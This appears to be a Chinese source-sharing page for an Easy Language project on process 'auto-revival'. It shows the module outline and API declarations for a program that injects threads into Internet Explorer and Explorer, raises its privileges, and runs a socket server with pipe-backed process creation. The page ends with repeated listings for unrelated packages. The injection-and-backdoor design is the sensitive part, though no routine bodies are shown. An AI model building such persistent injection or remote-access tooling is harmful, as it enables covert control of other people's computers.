进程自动复活
系统结构:server,IE监视线程,IE开始检测,枚举进程,注入IE,rserver,EX监视线程,EX开始检测,EX可否注入,注入EXX,EnumWindows,GetWindowThreadProcessId,IsWindowVisible,GetClassName,GetWindowText,创建帮助快照,首进程信息,关闭内核对象,打开进程,关闭句柄,获取模块文件名,获取WIN目录,后进程信息,socket,closesocket,select,Connect,Send,recv,bind,WSAStartup,WSACleanup,htons,inet_ntoa,inet_addr,listen,accept,ntohs,sendto,recvfrom,创建进程_,创建匿名管道,write,获取启动信息,read,GetLogicalDriveStringsA,创建线程_,结束一个进程,创建快照,打开SC管理服务_,枚举SC管理器服务列表_,枚举SC管理器服务列表1_,关闭SC服务管理句柄_,复制字符串_,取文本内容长度_,取字节长度_,双字节到宽字符_,创建虚拟内存页,写远程内存,创建远程线程,等待远程线程结束,释放虚拟内存,FindWindow_,开始注入,提升权限,枚举进程,
======程序集1
| |
| |------ _启动子程序
| |
| |------ _主窗口_创建完毕
======程序集1
| |
| |------ _启动子程序
| |
| |------ _临时子程序
| |
| |------ server
| |
| |------ IE监视线程
| |
| |------ IE开始检测
| |
| |------ 枚举进程
| |
| |------ 注入IE
| |
| |------ rserver
| |
| |------ EX监视线程
| |
| |------ EX开始检测
| |
| |------ EX可否注入
| |
| |------ 注入EXX
| |
| |
======调用的Dll
| |
| |---[dll]------ EnumWindows
| |
| |---[dll]------ GetWindowThreadProcessId
| |
| |---[dll]------ IsWindowVisible
| |
| |---[dll]------ GetClassName
| |
| |---[dll]------ GetWindowText
| |
| |---[dll]------ 创建帮助快照
| |
| |---[dll]------ 首进程信息
| |
| |---[dll]------ 关闭内核对象
| |
| |---[dll]------ 打开进程
| |
| |---[dll]------ 关闭句柄
| |
| |---[dll]------ 获取模块文件名
| |
| |---[dll]------ 获取WIN目录
| |
| |---[dll]------ 后进程信息
| |
| |---[dll]------ socket
| |
| |---[dll]------ closesocket
| |
| |---[dll]------ select
| |
| |---[dll]------ Connect
| |
| |---[dll]------ Send
| |
| |---[dll]------ recv
| |
| |---[dll]------ bind
| |
| |---[dll]------ WSAStartup
| |
| |---[dll]------ WSACleanup
| |
| |---[dll]------ htons
| |
| |---[dll]------ inet_ntoa
| |
| |---[dll]------ inet_addr
| |
| |---[dll]------ listen
| |
| |---[dll]------ accept
| |
| |---[dll]------ ntohs
| |
| |---[dll]------ sendto
| |
| |---[dll]------ recvfrom
| |
| |---[dll]------ 创建进程_
| |
| |---[dll]------ 创建匿名管道
| |
| |---[dll]------ write
| |
| |---[dll]------ 获取启动信息
| |
| |---[dll]------ read
| |
| |---[dll]------ GetLogicalDriveStringsA
| |
| |---[dll]------ 创建线程_
| |
| |---[dll]------ 结束一个进程
| |
| |---[dll]------ 创建快照
| |
| |---[dll]------ 打开SC管理服务_
| |
| |---[dll]------ 枚举SC管理器服务列表_
| |
| |---[dll]------ 枚举SC管理器服务列表1_
| |
| |---[dll]------ 关闭SC服务管理句柄_
| |
| |---[dll]------ 复制字符串_
| |
| |---[dll]------ 取文本内容长度_
| |
| |---[dll]------ 取字节长度_
| |
| |---[dll]------ 双字节到宽字符_
| |
| |---[dll]------ 创建虚拟内存页
| |
| |---[dll]------ 写远程内存
| |
| |---[dll]------ 创建远程线程
| |
| |---[dll]------ 等待远程线程结束
| |
| |---[dll]------ 释放虚拟内存
| |
| |---[dll]------ FindWindow_
======程序集1
| |
| |------ _启动子程序
| |
| |------ 开始注入
| |
| |------ 提升权限
| |
| |------ 枚举进程
调用的DLL命令:
.DLL命令 EnumWindows, 整数型, "user32.dll", "EnumWindows", , 枚举窗口列表中的所有父窗口(顶级和被所有窗口) 非零表示成功,零表示失败
.参数 函数指针, 子程序指针, , 指向为每个子窗口都调用的一个函数的指针。用AddressOf运算符获得函数在标准模式下的地址
.参数 自定义数值, 整数型, , 在枚举期间,传递给dwcbkd32.ocx定制控件之EnumWindows事件的值。这个值的含义是由程序员规定的;
.DLL命令 GetWindowThreadProcessId, 整数型, "user32", "GetWindowThreadProcessId", , ; 获取与指定窗口关联在一起的一个进程和线程标识符 拥有窗口的线程的标识符
.参数 hwnd, 整数型, , 指定一个变量,用于装载拥有那个窗口的一个进程的标识符
.参数 lpdwProcessId, 整数型, 传址, 指定窗口句柄;
.DLL命令 IsWindowVisible, 整数型, "user32", "IsWindowVisible", , 判断窗口是否可见 如窗口可见则返回TRUE(非零)
.参数 窗口句柄, 整数型, , 要测试的那个窗口的句柄;
.DLL命令 GetClassName, 整数型, "user32", "GetClassNameA", , 为指定的窗口取得类名 以字节数表示的类名长度;排除最后的空中止字符。零表示出错。会设置GetLastError
.参数 窗口句柄, 整数型, , 欲获得类名的那个窗口的句柄
.参数 缓冲区, 文本型, , 随同类名载入的缓冲区。预先至少必须分配nMaxCount+1个字符
.参数 缓冲区长度, 整数型, , 由lpClassName提供的缓冲区长度;
.DLL命令 GetWindowText, 整数型, "user32", "GetWindowTextA", , 取得一个窗体的标题(caption)文字,或者一个控件的内容(在vb里使用:使用vb窗体或控件的caption或text属性) 复制到lpString的字串长度;不包括空中止字符。会设置GetLastError
.参数 窗口句柄, 整数型, , 欲获取文字的那个窗口的句柄
.参数 缓冲区, 文本型, , 预定义的一个缓冲区,至少有cch+1个字符大小;随同窗口文字载入
.参数 缓冲尺寸, 整数型, , lp缓冲区的长度;
.DLL命令 创建帮助快照, 整数型, , "CreateToolhelp32Snapshot"
.参数 标识, 整数型
.参数 进程标识, 整数型, , 指定进程标识. 此参数用于指出当前进程,可为零. 当TH32CS_SNAPHEAPLIST或TH32CS_SNAPMODULE的值被指定时使用此参数. 否则,给予忽略。
.DLL命令 首进程信息, 整数型, , "Process32First"
.参数 快照句柄, 整数型
.参数 进程信息, 进程信息2
.DLL命令 关闭内核对象, , , "CloseHandle"
.参数 欲关闭对象句柄, 整数型
.DLL命令 打开进程, 整数型, , "OpenProcess", , 从一个进程的标识(ID)返回一个可用于指定操作的句柄,要用“关闭对句柄”
.参数 访问方式, 整数型, , 参看常量 “进程_”
.参数 是否继承, 逻辑型
.参数 进程标识, 整数型, , ID
.DLL命令 关闭句柄, 逻辑型, "kernel32", "CloseHandle"
.参数 对象句柄, 整数型
.DLL命令 获取模块文件名, 整数型, "psapi.dll", "GetModuleFileNameExA"
.参数 进程句柄, 整数型
.参数 模块句柄, 整数型
.参数 文件名称, 文本型
.参数 缓冲区长度, 整数型
.DLL命令 获取WIN目录, 整数型, "kernel32.dll", "GetWindowsDirectoryA"
.参数 缓冲区, 文本型, 传址
.参数 缓冲区长度, 整数型
.DLL命令 后进程信息, 整数型, , "Process32Next"
.参数 快照句柄, 整数型
.参数 进程信息, 进程信息2
.DLL命令 socket, 整数型, "ws2_32.dll", "socket", , 创建套接字
.参数 af, 整数型, , 使用的通信协议的协议族
.参数 type, 整数型, , 流套接字类型
.参数 protocol, 整数型, , 使用的通信协议
.DLL命令 closesocket, 整数型, "ws2_32.dll", "closesocket", , 销毁套接字
.参数 s, 整数型, , 套接字描述符
.DLL命令 select, 整数型, "ws2_32.dll", "select", , 检查套接字状态
.参数 nfds, 整数型
.参数 readfds, fd_set, 传址, 读
.参数 writefds, fd_set, 传址, 写
.参数 exceptfds, fd_set, 传址, 错误
.参数 timeout, 整数型, 传址, 超时
.DLL命令 Connect, 整数型, "ws2_32.dll", "connect", , 连接到服务器(TCP)
.参数 s, 整数型, , 套接字描述符
.参数 addr, sockaddr_in, 传址, 地址信息
.参数 namelen, 整数型, , 地址信息长度
.DLL命令 Send, 整数型, "ws2_32.dll", "send", , 发送数据(TCP,当这次发送数据未发送完时返回剩余字节数)
.参数 s, 整数型, , 套接字描述符
.参数 buf, 字节集, 传址, 欲发送的数据
.参数 buflen, 整数型, , 欲发送数据长度
.参数 flags, 整数型, , 0
.DLL命令 recv, 整数型, "ws2_32.dll", "recv", , 接收数据(TCP,当数据这次未接收完时返回剩余字节数)
.参数 s, 整数型, , 套接字描述符
.参数 buf, 字节集, 传址, 数据(提供变量)
.参数 buflen, 整数型, , 数据长度
.参数 flags, 整数型, , 0
.DLL命令 bind, 整数型, "ws2_32.dll", "bind", , 绑定一个地址和端口
.参数 s, 整数型, , 套接字描述符
.参数 name, sockaddr_in, 传址, 地址信息
.参数 namelen, 整数型, , 地址信息长度(长度16)
.DLL命令 WSAStartup, 整数型, "ws2_32.dll", "WSAStartup", , 初始化WnSocket服务
.参数 wVR, 整数型, , socket版本
.参数 lpWSAD, WSADataType, 传址, 服务信息
.DLL命令 WSACleanup, 整数型, "ws2_32.dll", "WSACleanup", , 卸载Winsocket服务
.DLL命令 htons, 整数型, "ws2_32.dll", "htons", , 转换为network 排列方式的数目
.参数 hostshort, 整数型, , 端口号
.DLL命令 inet_ntoa, 整数型, "ws2_32.dll", "inet_ntoa", , 将整数格式IP地址转换为点数格式(返回值是内存地址指针)
.参数 inn, 整数型, , 欲转换整数格式IP地址
.DLL命令 inet_addr, 整数型, "ws2_32.dll", "inet_addr", , 点数格式转换为整数格式IP地址
.参数 cp, 文本型, , 欲被转换的IP地址
.DLL命令 listen, 整数型, "ws2_32.dll", "listen"
.参数 s, 整数型, , 套接字描述符
.参数 backlog, 整数型, , 最多容纳客户请求数
.DLL命令 accept, 整数型, "ws2_32.dll", "accept", , 等待用户进入并接受连接
.参数 s, 整数型, , 套接字描述符
.参数 addr, sockaddr_in, 传址, 地址信息
.参数 addrlen, 整数型, 传址, 地址信息长度(长度为16)
.DLL命令 ntohs, 整数型, "ws2_32.dll", "ntohs", , 转换为端口号
.参数 netshort, 整数型, , 欲转换值
.DLL命令 sendto, 整数型, "ws2_32.dll", "sendto", , 发送数据(UDP)
.参数 s, 整数型, , 套接字描述符
.参数 buf, 文本型, 传址, 数据
.参数 len, 整数型, , 数据长度
.参数 flags, 整数型, , 0
.参数 to, sockaddr_in, 传址, 目标地址信息
.参数 tolen, 整数型, , 地址信息长度
.DLL命令 recvfrom, 整数型, "ws2_32.dll", "recvfrom", , 接收数据(UDP)
.参数 s, 整数型, , 套接字描述符
.参数 buf, 文本型, 传址, 数据(提供变量)
.参数 len, 整数型, , 数据长度
.参数 flags, 整数型, , 0
.参数 from, sockaddr_in, 传址, 来源地址信息(提供变量)
.参数 fromlen, 整数型, 传址, 地址信息长度(提供变量)
.DLL命令 创建进程_, 逻辑型, "kernel32", "CreateProcessA"
.参数 lpApplicationName, 整数型, , 执行程序文件名
.参数 lpCommandLinew, 文本型, , 参数行
.参数 lpProcessAttributes, 整数型, , 进程security参数
.参数 lpThreadAttributes, 整数型, , 线程security参数
.参数 bInheritHandles, 逻辑型, , 继承标记
.参数 dwCreationFlags, 整数型, , 创建标记
.参数 lpEnvironment, 整数型, , 环境变量
.参数 lpCurrentDirectory, 整数型, , 运行该子进程的初始目录
.参数 lpStartupInfo, 启动信息数据, , 创建该子进程的相关参数
.参数 lpProcessInformation, 进程返回数据, , 创建后用于被创建子进程的信息
.DLL命令 创建匿名管道, 整数型, , "CreatePipe"
.参数 读入端口, 整数型, 传址
.参数 写入端口, 整数型, 传址
.参数 管道属性, security性结构, 传址
.参数 管道大小, 整数型
.DLL命令 write, , "kernel32.dll", "WriteFile"
.参数 hFile, , , 一个文件的句柄
.参数 lpBuffer, 字节集, 传址, 要写入的一个数据缓冲区
.参数 nNumberOfBytesToWrite, , , 要写入数据的字节数量。如写入零字节,表示什么都不写入,但会更新文件的“上一次修改时间”。针对位于远程系统的命名管道,限制在65535个字节以内
.参数 lpNumberOfBytesWritten, , 传址, 实际写入文件的字节数量
.参数 lpOverlapped, , , 倘若在指定FILE_FLAG_OVERLAPPED的前提下打开文件,这个参数就必须引用一个特殊的结构。那个结构定义了一次异步写操作。否则,该参数应置为空(将声明变为ByVal As Long,并传递零值)
.DLL命令 获取启动信息, 整数型, "kernel32", "GetStartupInfoA"
.参数 启动信息, 启动信息数据, 传址
.DLL命令 read, 整数型, "kernel32", "ReadFile"
.参数 文件句柄, 整数型
.参数 数据缓冲区, 字节集, 传址, 通用
.参数 字符数, 整数型
.参数 实际读入字符数, 整数型, 传址
.参数 异步过程, 整数型
.DLL命令 GetLogicalDriveStringsA, 整数型, "kernel32", "GetLogicalDriveStringsA", , $(b)
.参数 缓冲器长度, 整数型
.参数 缓冲区, 字节集
.DLL命令 创建线程_, 整数型, , "CreateThread", 公开, 句柄
.参数 security, 整数型
.参数 栈大小, 整数型
.参数 子程序, 子程序指针
.参数 参数, 整数型
.参数 标志, 整数型
.参数 线程ID, 整数型, 传址
.DLL命令 结束一个进程, 逻辑型, "kernel32", "TerminateProcess", 公开, 句柄
.参数 hProcess, 整数型
.参数 uExitCode, 整数型
.DLL命令 创建快照, 整数型, , "CreateToolhelp32Snapshot"
.参数 falg, 整数型
.参数 id, 整数型
.DLL命令 打开SC管理服务_, 整数型, "advapi32.dll", "OpenSCManagerA"
.参数 机器名称, 文本型, , lpMachineName
.参数 数据库名, 整数型, , lpDatabaseName
.参数 数据库, 整数型, , dwDesiredAccess
.DLL命令 枚举SC管理器服务列表_, 整数型, "advapi32.dll", "EnumServicesStatusA"
.参数 SC管理者句柄, 整数型, , hSCManager
.参数 服务类型, 整数型, , dwServiceType
.参数 服务状态, 整数型, , dwServiceState
.参数 服务, 整数型, , any,lpServices
.参数 缓冲区大小, 整数型, , cbBufSize
.参数 需求字节数, 整数型, 传址, pcbBytesNeeded
.参数 返回服务名, 整数型, 传址, lpServicesReturned
.参数 返回句柄, 整数型, , lpResumeHandle
.DLL命令 枚举SC管理器服务列表1_, 整数型, "advapi32.dll", "EnumServicesStatusA"
.参数 SC管理者句柄, 整数型, , hSCManager
.参数 服务类型, 整数型, , dwServiceType
.参数 服务状态, 整数型, , dwServiceState
.参数 服务, 字节集, 传址, lpServices,any
.参数 缓冲区大小, 整数型, , cbBufSize
.参数 需求字节数, 整数型, 传址, pcbBytesNeeded
.参数 返回服务名, 整数型, 传址, lpServicesReturned
.参数 返回句柄, 整数型, 传址, lpResumeHandle
.DLL命令 关闭SC服务管理句柄_, 整数型, "advapi32.dll", "CloseServiceHandle"
.参数 SC对象句柄, 整数型
.DLL命令 复制字符串_, 整数型, "kernel32.dll", "lstrcpyA", , lstrcpyA
.参数 文本1, 字节型, 传址, RetVal
.参数 文本2, 整数型, , Ptr
.DLL命令 取文本内容长度_, 整数型, "kernel32.dll", "lstrlenA", , lstrlenA
.参数 文本, 整数型, , Ptr
.DLL命令 取字节长度_, 整数型, "kernel32.dll", "lstrlenW"
.参数 待取参数, 整数型, , any
.DLL命令 双字节到宽字符_, 整数型, "SHLWAPI", "#217", , SHUnicodeToAnsi
.参数 双字节文本, 字节集, 传址, lpMultiBVytestyr
.参数 宽字符文本, 文本型, , lpWideCharStr
.参数 宽字符文本长度, 整数型, , cchWideChar
.DLL命令 创建虚拟内存页, 整数型, "kernel32.dll", "VirtualAllocEx"
.参数 进程句柄, 整数型
.参数 首地址, 整数型
.参数 大小, 整数型
.参数 分配类型, 整数型
.参数 保护类型, 整数型
.DLL命令 写远程内存, 逻辑型, "kernel32.dll", "WriteProcessMemory"
.参数 句柄, 整数型
.参数 基地址, 整数型
.参数 缓存, 字节集
.参数 子程序指针, 整数型
.参数 大小, 整数型
.DLL命令 创建远程线程, 整数型, "kernel32.dll", "CreateRemoteThread"
.参数 进程句柄, 整数型
.参数 security属性, 整数型
.参数 堆栈大小, 整数型
.参数 函数地址, 整数型
.参数 函数参数, 整数型
.参数 运行方式, 整数型
.参数 线程标识, 整数型, 传址
.DLL命令 等待远程线程结束, 整数型, "kernel32.dll", "WaitForSingleObject"
.参数 线程, 整数型
.参数 参数1, 整数型
.DLL命令 释放虚拟内存, , "kernel32.dll", "VirtualFreeEx"
.参数 句柄, 整数型
.参数 参数1, 整数型
.参数 参数2, 整数型
.参数 参数3, 整数型
.DLL命令 FindWindow_, 整数型, "user32", "FindWindowA", , 寻找窗口列表中第一个符合指定条件的顶级窗口(在vb里使用:FindWindow最常见的一个用途是获得ThunderRTMain类的隐藏窗口的句柄;该类是所有运行中vb执行程序的一部分。获得句柄后,可用api函数GetWindowText取得这个窗口的名称;该名也是应用程序的标题) 找到窗口的句柄。如未找到相符窗口,则返回零。会设置GetLastError
.参数 窗口类名, 文本型, , 指向包含了窗口类名的空中止(C语言)字串的指针;或设为零,表示接收任何类
.参数 窗口文本, 文本型, , 指向包含了窗口文本(或标签)的空中止(C语言)字串的指针;或设为零,表示接收任何窗口标题 示例Dim hw&, cnt&Dim rttitle As * 256hw& = FindWindow("ThunderRT5Main", vbNullString) ' ThunderRTMain under VB4cnt = GetWindowText(hw&, rttitle, 255)MsgBox Left, 0, "RTMain title";
易语言卷帘工具箱源码,初始化卷帘,取星期,更换风格,搜索文件,线程搜索,修改底色,获取信息,取信息记录,取网络信息...
易语言仅用核心支持库实现对外部数据库的操作ADODB操作外部数据库例程源码,根据村组查询数据,数据库_读取数据到高级表格,数据库_保存高级表格数据到数据库,数据库_读取数据到列表...
易语言仅用核心支持库实现对外部数据库的操作ADODB操作外部数据库例程源码,根据村组查询数据,数据库_读取数据到高级表格,数据库_保存高级表格数据到数据库,数据库_读取数据到列表...
易语言仅用核心支持库实现对外部数据库的操作ADODB操作外部数据库例程源码,根据村组查询数据,数据库_读取数据到高级表格,数据库_保存高级表格数据到数据库,数据库_读取数据到列表...
易语言两个文件内存中通讯源码,子程序1,打开文件,生成空文件,生成重复字节文件,移到文件首,移到文件尾,移动读写位置,取读写位置,关闭文件,取文件长度,写出字节集,是否在文件尾,取错...
易语言易模块管理器Include目录源码,CopyTo_CreateProcessDebugInfo,CopyTo_CreateThreadDebugInfo,CopyTo_ExitThreadDebugInfo,CopyTo_ExitProcessDebugInfo,CopyTo_LoadDllDebugInfo,CopyTo_UnloadDllDebugInfo,CopyTo_ExceptionDebugInfo,Copy...
易语言卷帘工具箱源码,初始化卷帘,取星期,更换风格,搜索文件,线程搜索,修改底色,获取信息,取信息记录,取网络信息...
子程序1,打开文件,生成空文件,生成重复字节文件,移到文件首,移到文件尾,移动读写位置,取读写位置,关闭文件,取文件长度,写出字节集,是否在文件尾,取错误信息,读入字节集,读入2M字节集,清除文件缓冲区,读入文本,写出文本,写文本行,读入一行,插入字节集,取文件号...
初始化卷帘,取星期,更换风格,搜索文件,线程搜索,修改底色,获取信息,取信息记录,取网络信息...